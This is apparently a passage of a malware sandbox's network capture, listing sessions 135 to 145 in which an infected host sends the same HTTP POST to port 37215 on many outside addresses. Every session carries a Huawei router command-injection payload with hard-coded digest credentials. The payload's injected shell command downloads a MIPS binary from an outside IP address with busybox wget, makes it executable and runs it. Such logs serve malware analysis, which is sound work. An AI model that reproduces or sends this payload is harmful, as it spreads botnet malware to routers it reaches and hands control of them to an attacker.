20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	33322	41.132.216.164	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.437849998 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	35392	156.190.237.45	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.438487053 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	47342	156.82.100.7	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.439054012 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	47456	41.89.56.199	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.439621925 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	47048	156.145.198.116	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.440203905 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	54804	197.20.1.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.440795898 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	35154	197.108.27.186	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.441380978 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	38434	156.124.6.20	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.442009926 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	49110	156.180.71.22	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.442578077 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	37722	41.41.62.85	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.443160057 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	49536	41.218.18.192	37215

Timestamp	Bytes transferred	Direction	Data
